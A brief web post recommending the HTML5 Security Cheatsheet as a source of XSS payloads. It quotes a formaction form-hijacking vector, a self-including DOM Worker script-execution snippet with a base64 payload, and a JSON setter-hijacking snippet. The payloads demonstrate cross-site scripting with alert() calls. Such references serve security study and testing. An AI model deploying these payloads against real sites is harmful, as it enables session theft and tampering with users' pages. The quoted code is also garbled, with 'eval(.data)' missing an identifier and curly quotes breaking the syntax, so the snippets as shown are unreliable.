HTML5 Security Cheatsheet
Here you can find the HTML5 Security Cheatsheet, which is a nice source of some good XSS payloads.
For Example:
XSS via formaction – requiring user interaction (1)
A vector displaying the HTML5 form and formaction capabilities for form hijacking outside the actual form
Self-including DOM Worker XSS
A self-including code snippet utilizing a DOM worker and firing a message event to itself causing script execution
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0?<script>Worker("#").onmessage=function()eval(.data)</script> :postMessage(importScripts(‘data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk’))
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Self-hijacking JSON literals
In case parts of a JSON literal are controlled by user input there’s a risk to allow auto-harvesting values from later object members.
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<script>[{‘a’:Object.prototype.defineSetter(‘b’,function(){alert(arguments[0])}),‘b’:[‘secret’]}]</script>
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